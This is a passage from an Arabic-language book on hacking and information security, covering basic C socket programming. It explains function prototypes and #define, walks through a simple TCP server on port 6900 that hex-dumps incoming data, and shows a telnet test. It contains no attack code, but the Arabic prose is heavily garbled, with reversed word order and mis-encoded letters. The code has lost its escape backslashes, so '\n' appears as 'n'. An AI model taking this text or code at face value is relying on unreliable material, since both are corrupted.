    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [137] Some Definitions ُ‫ذ‬ ‫ن‬ ‫أ‬ ‫أن‬ ُ ‫ب‬‫ح‬ُ‫أ‬ ‫ُقطتني‬‫ن‬ َ‫اك‬ ‫عنهم‬ ‫حتدث‬ ‫قب‬ ،‫ه‬ َ‫قر‬َ‫ف‬‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬‫م‬ ‫اإلنتهاء‬ َ ‫ل‬ ‫ال‬ ‫م‬ُ‫وذ‬ Function Prototype ‫ال‬ ‫و‬ Define # Function prototype ‫ال‬ ‫تعريف‬ ‫ذذا‬ " function prototype :" a function prototype or function interface is a declaration of a function that specifies the function's name and type signature (parameter types, and return type), but omits the function body. While a function definition specifies how the function does what it does (the "implementation"), a function prototype specifies its interface. ‫استخدمنا‬ ‫لقد‬ :‫بمثال‬ ‫يعنيه‬ ‫ما‬ ‫لك‬ ‫سأوضح‬ ،‫األكواد‬ ‫بعض‬ ‫يف‬ ً‫ا‬‫سبق‬ُ‫م‬ ‫ه‬ Consider the following function prototypes: int myfunction(int n); This prototype specifies that in this program, there is a function named "myfunction" which takes a single integer argument "n" and returns an integer. ‫ال‬ ‫ذذه‬ ‫كتابة‬ ‫سيتم‬ ‫الربنامج‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫ويف‬ function .!‫الفعلية‬ #Define ‫ال‬ ‫ذذا‬ Directive ‫احلقيق‬ ‫يف‬ ‫ذو‬ ،‫القادمة‬ ‫األكواد‬ ‫يف‬ ‫مه‬‫َستخد‬‫ن‬ َ ‫س‬ ً‫ا‬‫أيض‬ ،‫عليه‬ ‫طلقون‬ُ‫ي‬ ‫كام‬ ‫ة‬ ‫ال‬ ‫شبه‬ُ‫ي‬ variable ‫ليس‬ ُ‫ه‬‫لكن‬ ‫با‬ ‫قيمته‬ ‫يف‬ ‫يتحكم‬ ‫أن‬ ‫للربنامج‬ ‫مكن‬ُ‫ي‬ ‫تغري‬ُ‫مل‬‫قا‬ ،!‫كذلك‬ َ ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫اآلطر‬ ‫بينام‬ ،‫ستمرار‬ " constant name ،" ‫قال‬ #define ‫ال‬ ‫ذا‬َ‫ذ‬ ‫استخدام‬ ‫ن‬‫م‬ ‫ُك‬‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬ ‫ذذا‬ const value ‫الكود‬ ‫داطل‬ ‫مكان‬ ‫أي‬ ‫يف‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬ ‫ما‬َ‫ند‬‫ع‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ، port ‫ل‬‫َقب‬‫ت‬‫َس‬‫ن‬‫ل‬ ‫ينه‬َ‫ع‬‫ب‬
  • 138.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [138] ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ َ ‫س‬َ‫ق‬ ،‫ليه‬َ‫ع‬ ‫اإلتصال‬ define ‫ال‬ ‫ذا‬َ‫هل‬ port ‫بأ‬ ‫ج‬َ‫م‬‫الربنا‬ ‫داية‬‫ب‬ ‫يف‬ :‫باآليت‬ ُ‫ه‬‫ُخرب‬‫ن‬ ‫ن‬ " ‫لفظة‬ ‫وجدت‬ ‫ما‬ ‫متى‬ port ‫م‬ُ‫ق‬ ‫ه‬‫قم‬ َ‫ر‬‫ب‬ ‫ا‬‫باستبداهل‬ " ، ً‫ال‬‫مث‬ ‫وذو‬ 3544 :‫ييل‬ ‫كام‬ #define port 3544 ‫ح‬َ‫ب‬‫ص‬َ‫أ‬ ‫لقد‬ ‫نا‬ ‫ز‬‫جاذ‬ ‫اآلن‬ ‫ين‬ ‫ال‬ ‫القادمة‬ ‫الفقرة‬ ‫ستقبال‬ .. ‫سنقوم‬ ‫بطرح‬ ‫ال‬ ‫باستخدام‬ ‫عميل‬ ‫مثال‬ " Socket functions ." Server Example ‫سنقو‬ ‫املثال‬ ‫ذذا‬ ‫يف‬ ‫ل‬ ‫كود‬ ‫بكتابة‬ ‫م‬ Server ‫ال‬ ‫بانتظار‬ ‫يقوم‬ session ‫ال‬ ‫من‬ client :‫ييل‬ ‫ا‬‫مل‬ ً‫ا‬‫قق‬‫و‬ The server listens for TCP connections on port 6900, and when a client connects, it (the server) sends a message “Hello, Server”. ‫قبال‬‫باست‬ ‫بدأ‬َ‫ي‬ ‫م‬ُ‫ث‬ Data ‫ال‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬ client ‫لىل‬ ‫ال‬ ‫لق‬َ‫غ‬ ‫م‬‫ت‬َ‫ي‬ ‫أن‬ connection . :‫التفاصيل‬ ‫لنشاذد‬ ‫ذيا‬ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include "error.h"
  • 139.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [139] #define PORT 6900 // The port users will be connecting to int main(void) { int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd struct sockaddr_in host_addr, client_addr; // My address information socklen_t sin_size; int recv_length=1, yes=1; char buffer[1024]; if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); host_addr.sin_family = AF_INET; // Host byte order host_addr.sin_port = htons(PORT); // Short, network byte order host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP. memset(&(host_addr.sin_zero), '0', 8); // Zero the rest of the struct. if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 5) == -1) fatal("listening on socket"); while(1) { // Accept loop. sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection");
  • 140.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [140] printf("server: got connection from %s port %dn", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); send(new_sockfd, "Hello, servern", 13, 0); recv_length = recv(new_sockfd, &buffer, 1024, 0); while(recv_length > 0) { printf("RECV: %d bytesn", recv_length); dump(buffer, recv_length); recv_length = recv(new_sockfd, &buffer, 1024, 0); } close(new_sockfd); } return 0; } :!‫ث‬ُ‫حيد‬ ‫ما‬ ‫بتوضيح‬ ‫لنبدأ‬ ‫امللف‬ ‫بإضاقة‬ ‫منا‬ُ‫ق‬ #include "error.h" ‫الثالث‬ ‫ن‬‫م‬ ٍّ‫أي‬ ‫استدعاء‬ ‫من‬ ‫نتمكن‬ ‫كي‬ functions ‫لليهم‬ ‫شار‬ُ‫مل‬‫ا‬ .ً‫ا‬‫سابق‬ ‫ال‬ ‫استخدمنا‬ ً‫ا‬‫أيض‬ #define ‫ا‬ ‫ُحدد‬‫ن‬‫ل‬ ‫ل‬ " port whom our server is listening on ،" ‫وذو‬ 6900 . ‫العبار‬ ‫ِبذه‬ ‫نقصد‬ ‫ماذا‬ ‫ة‬ : int sockfd, new_sockfd; ‫؟‬ ‫ال‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬ file descriptor ‫؟‬ . ‫أي‬ ‫أو‬ ‫قتحه‬ ‫يتم‬ ‫ملف‬ ‫أي‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ Socket ‫حدوث‬ ‫لىل‬ ‫سيؤدي‬ ‫لنشاؤه‬ ‫يتم‬ Entry ‫ال‬ ‫داطل‬ kernel ، ‫ال‬ ‫ذذا‬ entry ‫برقم‬ ‫عنه‬ ‫رب‬َ‫ع‬ُ‫ي‬ integer ‫ال‬ ‫يسمى‬ fd ، ‫ال‬ ‫أو‬ ‫الرقم‬ ‫ذذا‬ ( Entry ) ‫ك‬ ‫ستخدم‬ُ‫ي‬ reference ‫ال‬ ‫ذا‬‫هل‬ Socket ‫الذي‬ ‫لف‬َ‫مل‬‫ا‬ ‫أو‬ .‫تحه‬َ‫ق‬ ‫َم‬‫ت‬ ‫ال‬ ‫قائدة‬ ‫ما‬ ‫ولكن‬.. ،!‫جيد‬ ‫ذذا‬ fd ‫الثاين؟‬
  • 141.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [141] ‫ال‬ ‫منا‬َ‫َخد‬‫ت‬‫اس‬ ‫د‬َ‫ق‬ ‫ألننا‬ ‫َحتاجه‬‫ن‬ ‫سوف‬ fd ‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫أثناء‬ ‫األول‬ " Listening for incoming connection " ، ‫بينام‬ ‫سنح‬ ‫ل‬ ‫تاج‬ fd ‫نحتاج‬ َ ‫س‬ ‫أننا‬ ‫عنى‬َ‫م‬َ‫ب‬ ،‫ديد‬ َ‫ج‬ entry ‫ال‬ ‫داطل‬ ‫أطرى‬ kernel ‫ال‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫طاصة‬ process ‫ال‬ ‫وذي‬ ‫اجلديدة‬ connection .!‫ث‬ُ‫حد‬َ‫ي‬ َ ‫س‬ ‫الذي‬ ‫ال‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ objects ‫ال‬ َ‫ن‬‫م‬ ‫ها‬‫باشتقاق‬ ‫منا‬ُ‫ق‬ ُ ‫حيث‬ ،‫ُريد‬‫ن‬ ‫التي‬ Struct ‫العام‬ :‫ترى‬ ‫كام‬ struct sockaddr_in host_addr, client_addr; ‫ال‬ ‫يات‬َ‫َو‬‫ت‬ ُ ‫حم‬ ‫ل‬‫حم‬َ‫ي‬ َ ‫س‬ ‫م‬ُ‫الذ‬‫ك‬ ‫أن‬ ‫ّر‬‫ك‬َ‫َذ‬‫ت‬ general structure .. ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫م‬ُ‫ث‬ declare ‫جري‬َ‫ي‬ َ ‫س‬ ،‫َغريات‬‫ت‬ُ‫مل‬‫ا‬ ‫عض‬َ‫ب‬‫ل‬ .‫بعد‬ ‫قيام‬ ‫يحهم‬‫َوض‬‫ت‬ ‫ألول‬ ‫نأيت‬ function( ) ‫ال‬ ‫وذي‬ socket( ) . ‫ثالثة‬ ‫ّا‬‫ن‬‫م‬ ‫ستحتاج‬. Arguments :  Protocol family: IPv4  Socket type: Stream (TCP)  Number of protocols inside this family: 0 there is only one protocol! IPv4 ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ function ‫يمة‬‫ق‬ ‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬ int ‫ال‬ َ‫ي‬‫ذ‬ fd ‫ال‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬ socket ‫نا‬ُ‫ذ‬ ‫ها‬‫َخزين‬‫ت‬‫ب‬ ‫نقوم‬ َ ‫س‬ " sockfd ." ‫بالطبع‬ ‫سيحدث‬ call ‫لل‬ fatal( ) ‫ك‬ ‫العملية‬ ‫ل‬ َ ‫ش‬َ‫ق‬ ‫حال‬ ‫يف‬ .‫الكود‬ ‫يف‬ ‫ح‬‫ض‬َ‫و‬ُ‫م‬ ‫ذو‬ ‫ام‬ ‫لل‬ ‫َميض‬‫ن‬ ‫م‬ُ‫ث‬ function ‫التالية‬ ‫وذي‬ setsockopt( ) ‫ال‬ ‫ا‬‫الهل‬‫ط‬ ‫ن‬‫م‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬‫ل‬ options ‫ال‬ ‫ذا‬َ‫ِب‬ ‫ة‬َ‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ socket . ‫ال‬ ‫ذذه‬ options ‫موجود‬ ‫وغريذا‬ ‫ة‬ ‫املسار‬ ‫عىل‬ /user/include/asm/socket.h ‫نظر‬ ‫نلق‬ ‫دعنا‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫عىل‬ function : setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
  • 142.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [142] ‫ة‬‫د‬‫ع‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ ‫لهنا‬ Arguments .. :‫هم‬‫يح‬‫َوض‬‫ت‬‫ب‬ ‫نقوم‬ َ ‫س‬  ‫ال‬ ‫ذو‬ ‫األول‬ Socket ‫ال‬ ‫ُعطيها‬‫ن‬ َ ‫س‬ ،!‫منطقي‬ ‫وذذا‬ ،‫نفسه‬ fd ‫ال‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬ socket .  ‫ال‬ argument ‫ال‬ ‫نوع‬ ‫َحديد‬‫ت‬‫ل‬ ‫ت‬َ‫ع‬‫ض‬ُ‫و‬ ‫الثانية‬ option (to set the level of the option)  ‫ال‬ Argument ‫الثالث‬ ‫ة‬ : " specifies the option itself " ‫ال‬ ‫وذي‬ REUSEADDR :‫ماييل‬ ‫ِبا‬ ‫نعني‬ ‫حيث‬ “Let the socket bind to a port, even if that port is in use!” ‫تح‬َ‫ق‬ ‫لة‬َ‫او‬ ُ ‫حم‬ ‫ند‬‫ع‬ ً‫ا‬‫أحيان‬ ‫ألنه‬ port ‫يكون‬ ‫بام‬ُ‫ر‬ ُ‫ه‬‫ألن‬ ،!‫تاح‬ُ‫م‬ ُ‫ه‬‫د‬‫َج‬‫ن‬ ‫ال‬ ‫ني‬َ‫ع‬ُ‫م‬ ‫أي‬ ‫ل‬َ‫ب‬‫ق‬ ‫ن‬‫م‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫م‬ service ،‫طرى‬ُ‫أ‬ ‫ال‬ ‫ذذا‬ ‫استخدام‬ ‫عىل‬ ‫بإجباره‬ ‫نا‬ُ‫ذ‬ ‫َقوم‬‫ن‬ َ ‫س‬َ‫ق‬ port .  ‫الرابع‬ ‫أما‬ ‫ة‬ ‫واخلامس‬ ‫ة‬ ‫م‬ُ‫ه‬َ‫ق‬ pointer ‫لل‬ data ‫اخلاص‬ ‫ة‬ ‫بال‬ option ، ‫وال‬ length ‫وذو‬ ‫ا‬‫ِب‬ ‫اخلاص‬ 4 bytes . ‫نوع‬ ‫ن‬‫م‬ ‫م‬ُ‫وذ‬ integer ‫ال‬ ‫ألن‬ SO_REUSEADDR ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ “32-bit integer for its value” . ‫بال‬ ‫اخلاص‬ ‫للجزء‬ ‫سنميض‬ ‫واآلن‬ objects ‫اشت‬ ‫التي‬ ‫ق‬ ‫ق‬ ‫ال‬ ‫من‬ ‫ناذا‬ struct sockaddr_in .‫قليال‬ ‫عنهم‬ ‫لنتحدث‬ ‫ال‬ ‫لعدادات‬ ‫بعمل‬ ‫سنقوم‬ ( host_addr structure ) :‫التالية‬ ‫بالصفحة‬ ‫الكود‬ ‫يف‬ ‫يظهر‬ ‫كام‬  ‫ال‬ ‫حددنا‬ ‫األول‬ ‫السطر‬ ‫يف‬ address family: IPv4 ..  ‫ال‬ ‫الثاين‬ ‫السطر‬ ‫ويف‬ port ‫وذو‬ 6900 ، ‫ال‬ ‫استخدام‬ ‫الحظ‬ function ‫ال‬ ‫ن‬‫م‬ ُ‫ه‬‫ل‬ِّ‫و‬َ‫ُح‬‫ت‬ َ ‫س‬ ‫التي‬ host ‫ال‬ ‫لىل‬ " network byte order ،" ‫نوع‬ ‫ن‬‫م‬ short ، ‫أي‬ 16 bits .  ‫ال‬ ‫ذ‬ ُ ‫يأط‬ ‫أن‬‫ب‬ ُ‫ه‬َ‫ل‬ ‫لنا‬ُ‫ق‬ ‫الثالث‬ ‫السطر‬ ‫يف‬ ‫م‬ُ‫ث‬ IP Address .‫هاز‬‫اجل‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬ ‫احلايل‬
  • 143.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [143]  ‫باق‬ ‫بإكامل‬ ‫نقوم‬ َ ‫س‬ ‫الرابع‬ ‫السطر‬ ‫يف‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬ ‫ال‬ ‫ي‬ Address Structure ‫وذم‬ 8 bytes ، ‫بال‬ ‫ألذم‬َ‫م‬ ‫تم‬َ‫ي‬ َ ‫س‬ padding .ً‫ا‬‫سابق‬ ‫أوضحنا‬ ‫كام‬ host_addr.sin_family = AF_INET; // Host byte order host_addr.sin_port = htons(PORT); // Short, network byte order host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP. memset(&(host_addr.sin_zero), '0', 8); // Zero the rest of the struct. ‫ال‬ ‫لىل‬ ‫نأيت‬ ‫م‬ُ‫ث‬ “bind( )” if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); :‫باآليت‬ ‫وتقوم‬ It is used on the server side, and associates a socket with a socket address structure, a specified local port number (in our case 6900), and IP address. ‫ال‬ ‫ذذه‬ ‫ذ‬ ُ ‫تأط‬ function ‫ال‬ ‫من‬ ‫جمموعة‬ Arguments :‫كامييل‬  ‫أوهلا‬ ‫ال‬ file descriptor ‫بال‬ ‫اخلاص‬ socket .  ‫ال‬ ‫م‬ُ‫ث‬ Argument ‫ال‬ َ‫ي‬‫ذ‬َ‫و‬ ‫الثانية‬ address structure ، ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫أننا‬ ‫ظ‬‫الح‬ typecasting ‫ال‬ ‫لىل‬ ُ‫ه‬‫ل‬ " general address structure " .. ‫ال‬ ‫نة‬َ‫قار‬ُ‫م‬‫ب‬ ُ‫ه‬‫بنا‬ َ ‫َض‬ ‫الذي‬ ‫ثال‬‫امل‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ IPv4 address structure ‫ما‬َ‫ند‬‫ع‬ ‫ال‬ ‫عىل‬ ُ‫ه‬‫أسقطنا‬ " Generic structure " .  ‫ال‬ ‫م‬ُ‫ث‬ Argument ‫ال‬ ‫ثالث‬ ‫ة‬ َ‫ي‬‫وذ‬ “the length of the address structure ”
  • 144.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [144] ‫بعدذا‬ ‫وتأيت‬ listen( ) ‫ال‬ ‫ضع‬َ‫و‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬ incoming connections ‫يف‬ backlog queue ، ‫أي‬ ‫بشكل‬ ‫بعضهم‬ َ ‫لف‬ َ ‫ط‬ ‫لل‬ ‫األقىص‬ ‫احلد‬ ‫حتديد‬ ‫تم‬ ‫وقد‬ ،‫ع‬‫تتاب‬ُ‫م‬ “connections” ‫ب‬ ‫لها‬‫َقب‬‫ت‬‫َس‬‫ت‬ ‫التي‬ 5 if (listen(sockfd, 5) == -1) fatal("listening on socket"); ‫ال‬ ‫َقوم‬‫ت‬ ‫م‬ُ‫ث‬ accept( ) ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫بول‬ُ‫ق‬‫ب‬ connections . ‫آطر‬ ‫دور‬ ‫جاء‬ ‫واآلن‬ function ‫ال‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ ‫س‬ ‫التي‬ ‫وذي‬ connections :‫باألسفل‬ ‫بالكود‬ ‫كام‬ ‫الرشط‬ ‫ذذا‬ ‫ُالحظ‬‫ن‬ : while(1) .. ‫قا‬ ‫لعدد‬ 1 ‫عني‬َ‫ي‬ ‫نا‬ُ‫ذ‬ True . ‫و‬ ‫منا‬َ‫َخد‬‫ت‬‫اس‬ fd ‫ديد‬ َ‫ج‬ َ‫ت‬ ‫ذل‬ ، ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ‫ال‬ ‫ب؟‬َ‫ب‬ َ ‫س‬ . ‫ال‬ ‫ستبدأ‬ accept( ) ‫ال‬ ‫تشبه‬ ‫قهي‬ ،‫عملها‬ bind( ) ‫ال‬ ‫سنستبدل‬ ‫أننا‬ ‫لال‬ IP address ‫اخلاص‬ ‫بال‬ Server ‫بال‬ IP Address ‫بال‬ ‫اخلاص‬ client . So.. the return from accept( ) function is new file descriptor “new_sockfd” for the accepted connection. As follows: while(1) { sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); َ ‫س‬ ‫دالة‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ printf( ) ‫ال‬ ‫نا‬َ‫ل‬ ‫ع‬َ‫ب‬‫َط‬‫ت‬‫ل‬ IP Address ‫بال‬ ‫اخلاص‬ client ‫ال‬ ‫يغة‬‫ص‬‫ب‬ " ASCII dotted notation ،"
  • 145.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [145] ‫بال‬ ً‫ا‬‫تبوع‬َ‫م‬ port number ‫بال‬ ‫اخلاص‬ client :‫ييل‬ ‫كام‬ . printf("server: got connection from %s port %dn", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); ‫تأيت‬ ‫ثم‬ send( ) ، :‫العائلة‬ ‫هلذه‬ ‫تنتمي‬ ‫وذي‬ send() and recv(), or write() and read(), or sendto() and recvfrom(), They are used for sending and receiving data to/from a remote socket. ‫ال‬ ‫سيقوم‬ Server ‫بإرسال‬ string ‫ال‬ ‫لىل‬ client ‫ال‬ ‫نجاح‬ ‫قور‬ connection ‫ن‬‫َو‬‫ك‬ُ‫م‬ ، ‫ة‬ ‫من‬ 13 bytes ،‫باألسفل‬ ‫يظهر‬ ‫كام‬ ‫آطر‬ argument ‫ال‬ ‫هلذه‬ function ‫ال‬ ‫ذو‬ flags ، .‫بصفر‬ ُ‫ه‬‫قيمت‬ ‫بوضع‬ ‫قمنا‬ send(new_sockfd, "Hello, servern", 13, 0); ‫ال‬ ‫دور‬ ‫يأيت‬ ‫ثم‬ receive( ) ‫ال‬ ‫تستقبل‬‫ل‬ strings ‫ال‬ ‫من‬ client ، ‫تستقبل‬ ‫حيث‬ ‫من‬ ‫أكثر‬ Arguments ، ‫ال‬ ‫منها‬ buffer . ‫ال‬ ‫ذذا‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬ buffer ‫؟‬ ُ‫ه‬‫حجم‬ ‫وحددنا‬ ،‫الربنامج‬ ‫بداية‬ ‫يف‬ ُ‫ه‬‫قنا‬‫ر‬َ‫ع‬ ‫لقد‬ 1024 ، ‫ال‬ ‫ذذا‬ Buffer ‫اآل‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ي‬ :‫يت‬ “The maximum length to read from the socket” ‫وآطر‬ Argument ‫تستقبله‬ ‫بال‬ ‫طاص‬ flags ‫عنا‬ َ ‫ض‬َ‫و‬ ‫وكالعادة‬ ‫به‬ (0) .
  • 146.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [146] ‫تق‬ ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫وم‬ function ‫بإرجاع‬ return ‫انتهائها‬ َ‫عد‬َ‫ب‬ ‫نا‬َ‫ل‬ ، ‫وذو‬ recv_length ، ‫ونوعه‬ integer . recv_length = recv(new_sockfd, &buffer, 1024, 0); ‫ال‬ ‫دور‬ ‫يأيت‬ ‫م‬ُ‫ث‬ Loop : ‫ال‬ ‫ذا‬َ‫ذ‬ ‫ل‬‫داط‬‫ب‬ ‫ما‬ ‫ة‬َ‫باع‬‫ط‬‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ recv_length ‫ال‬ ‫د‬َ‫عَد‬ ‫وذو‬ bytes َ‫م‬َ‫ل‬َ‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ة‬ . while(recv_length > 0) { printf("RECV: %d bytesn", recv_length); ‫ال‬ ‫ور‬َ‫د‬ ‫يأيت‬ ‫تام‬‫اخل‬ ‫ويف‬ dump( ) ً‫ا‬‫سبق‬ُ‫م‬ ‫رشحناذا‬ ‫التي‬ .. ‫ال‬ ‫ذذه‬ ‫قتستقبل‬ Arguments : dump(buffer, recv_length) ‫ال‬ ‫ض‬‫ر‬َ‫ع‬ ‫هلا‬ ‫يتسنى‬ ‫كي‬ data ‫ال‬ ‫ة‬َ‫غ‬‫ي‬‫ص‬‫ب‬ Hex ‫وال‬ ،‫سار‬َ‫ي‬‫ال‬ ‫عىل‬ printable data ‫ا‬ ‫عىل‬ .‫مني‬َ‫ي‬‫ل‬ while(recv_length > 0) { printf("RECV: %d bytesn", recv_length); dump(buffer, recv_length); recv_length = recv(new_sockfd, &buffer, 1024, 0); } close(new_sockfd); } return 0; } ‫واآلن‬ ،‫الكود‬ ‫ذذا‬ ‫رشح‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫لقد‬ ‫س‬ ‫التجربة‬ ‫دور‬ ‫يأيت‬ .
  • 147.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [147] ‫الكود‬ ‫ذذا‬ ‫ب‬ ِّ‫ر‬َ‫ُج‬‫ن‬‫ل‬ .. root@server:~/booksrc $ gcc server.c root@server:~/booksrc $ ./a.out ‫س‬ ‫ال‬ ‫ذا‬‫ِب‬ ‫آطر‬ ‫جهاز‬ ‫ن‬‫م‬ ‫اإلتصال‬ ‫ة‬َ‫ب‬‫َجر‬‫ت‬‫ب‬ ‫نقوم‬ server ، ‫ال‬ ‫نستخدم‬ telnet ‫ال‬ ‫من‬ ‫لالتصال‬ client . َ ‫ح‬َ‫َج‬‫ن‬ ..‫ُشاذد‬‫ن‬ ‫كام‬ ‫بإرس‬ ‫السريقر‬ َ‫م‬‫وقا‬ ،!‫االتصال‬ ‫ال‬ string .. ‫ذي‬ “Hello, server” ، ‫ال‬ ،‫نحن‬ ‫دورنا‬ َ‫ء‬‫جا‬ ‫م‬ُ‫ث‬ client ، ‫عبارة‬ ‫له‬ ‫قأرسلنا‬ “this is test” ، ‫ال‬ ‫يف‬ ‫ُج‬‫ت‬‫ن‬َ‫ي‬ َ ‫س‬ ‫ما‬ ‫ى‬ َ‫َر‬‫ن‬‫ل‬ ‫شوائية‬َ‫ع‬ ‫ف‬ ُ‫أحر‬ ‫كتبنا‬ ‫م‬ُ‫ث‬ dump( ) . root@client:~ $ telnet 192.168.18.128 6900 Trying 192.168.18.128... Connected to 192.168.18.128. Escape character is '^]'. Hello, server this is a test fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf ‫ال‬ ‫ف‬ َ‫ر‬َ‫ط‬ ‫يف‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫ما‬ ً‫ا‬‫ع‬َ‫م‬ ‫د‬‫ُشاذ‬‫ن‬ ‫ذيا‬ Server :
  • 148.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [148] root@server:~/booksrc $ ./a.out server: got connection from 192.168.18.131 port 56971 RECV: 16 bytes 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test... RECV: 45 bytes 66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk 6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh 66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf... َ‫و‬ ‫د‬َ‫ق‬ ‫َكون‬‫ن‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ ‫ثال‬‫امل‬ ‫ذا‬َ‫ذ‬ ‫ة‬َ‫ي‬‫ا‬‫هن‬ ‫لىل‬ ‫لنا‬ َ ‫ص‬ . ‫عن‬ ‫للحديث‬ ‫سننتقل‬ ‫بعض‬ ‫ا‬ ‫املفاذيم‬ ‫ملتعلق‬ ‫ة‬ ‫بال‬ “OSI Layers” . The Browser ‫متصفح‬ ‫أي‬ ‫باستخدام‬ ‫اإلنرتنت‬ ‫ح‬ُّ‫ف‬‫َص‬‫ت‬‫ب‬ ‫نقوم‬ ‫عندما‬ (browser) ‫ال‬ ‫باستثناء‬ “Internet Explorer”  .. ‫يعني‬ ‫ذا‬َ‫ه‬َ‫ق‬ ‫ال‬ ‫أعىل‬ ‫يف‬ ‫نقع‬ ‫أننا‬ OSI Layers ‫ال‬ ‫وذي‬ Application Layer ، ‫كال‬ ‫بروتوكول‬ ‫مع‬ ‫نتعامل‬ ُ ‫حيث‬ HTTP ، ‫ال‬ ‫بني‬ ‫التواصل‬ ‫عملية‬ ‫يف‬ ‫املستخدمة‬ ‫الربوتوكوالت‬ ‫من‬ ‫وذو‬ browser ‫ال‬ ‫و‬ web servers ،‫املختلفة‬ ‫بعمل‬ ‫يقوم‬ ‫قهو‬ request ‫ال‬ 